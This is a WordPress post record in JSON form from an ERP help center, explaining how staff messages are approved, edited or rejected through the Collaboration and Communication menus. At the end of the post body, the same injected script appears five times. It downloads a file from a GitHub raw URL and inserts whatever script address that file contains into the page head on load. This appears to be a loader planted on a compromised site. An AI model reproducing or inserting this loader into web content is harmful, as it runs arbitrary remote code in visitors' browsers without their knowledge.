{"id":6821,"date":"2024-05-24T19:20:34","date_gmt":"2024-05-24T13:50:34","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=6821"},"modified":"2025-01-03T05:16:54","modified_gmt":"2025-01-02T23:46:54","slug":"how-to-approve-messages","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-to-approve-messages\/","title":{"rendered":"How to Approve Messages?"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">To manage message approvals in the system, follow these steps:<\/span><\/p>\n<p><b>Step-by-Step Guide:<\/b><b><\/b><\/p>\n<p><b>Navigate to Collaboration:<\/b><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0 \u00a0 \u00a0 Open the left main menu and select &#8220;Collaboration&#8221;.<\/span><b><\/b><\/p>\n<p><b>Go to Communication:<\/b><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0 \u00a0 \u00a0 Within the Collaboration section, click on &#8220;Communication&#8221;.<\/span><b><\/b><\/p>\n<p><b>Access Approvals:<\/b><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0 \u00a0 \u00a0 In the Communication section, click on &#8220;Approvals&#8221;.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0 \u00a0 \u00a0You will see a list of requests waiting for approval.<\/span><b><\/b><\/p>\n<p><b>Review the Requests:<\/b><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0 \u00a0 \u00a0 For each request, you have the options to Edit, Approve, or Reject.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-6829\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/Approve-Message-Communication-NLP.png\" alt=\"\" width=\"1880\" height=\"475\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/Approve-Message-Communication-NLP.png 1880w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/Approve-Message-Communication-NLP-300x76.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/Approve-Message-Communication-NLP-1024x259.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/Approve-Message-Communication-NLP-768x194.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/Approve-Message-Communication-NLP-1536x388.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/Approve-Message-Communication-NLP-1200x303.png 1200w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/p>\n<p><b>Actions:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Edit<\/b><span style=\"font-weight: 400;\">:<\/span>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">Click on &#8220;Edit&#8221; to modify the message content.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">After making the necessary changes, click &#8220;Approve&#8221; to send the edited message.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Approve<\/b><span style=\"font-weight: 400;\">:<\/span>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">Click on &#8220;Approve&#8221; to approve the message as is. The message will then be sent.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Reject<\/b><span style=\"font-weight: 400;\">:<\/span>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">Click on &#8220;Reject&#8221; to reject the message.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">A prompt will appear asking for the reason for rejection.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">Select an appropriate reason for rejection.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">The staff will be notified to rewrite the content and resubmit it for approval.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">By following these steps, you can effectively manage and approve messages within the system, ensuring that all communications meet the required standards before being sent out.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; To manage message approvals in the system, follow these steps: Step-by-Step Guide: Navigate to Collaboration: \u00a0 \u00a0 \u00a0 Open the left main menu and select &#8220;Collaboration&#8221;. Go to Communication: \u00a0 \u00a0 \u00a0 Within the Collaboration section, click on &#8220;Communication&#8221;. Access Approvals: \u00a0 \u00a0 \u00a0 In the Communication section, click on &#8220;Approvals&#8221;. \u00a0 \u00a0 \u00a0You &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-to-approve-messages\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How to Approve Messages?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[698],"tags":[],"post_folder":[],"class_list":["post-6821","post","type-post","status-publish","format-standard","hentry","category-approvals"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6821","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=6821"}],"version-history":[{"count":14,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6821\/revisions"}],"predecessor-version":[{"id":10346,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6821\/revisions\/10346"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=6821"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=6821"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=6821"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=6821"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}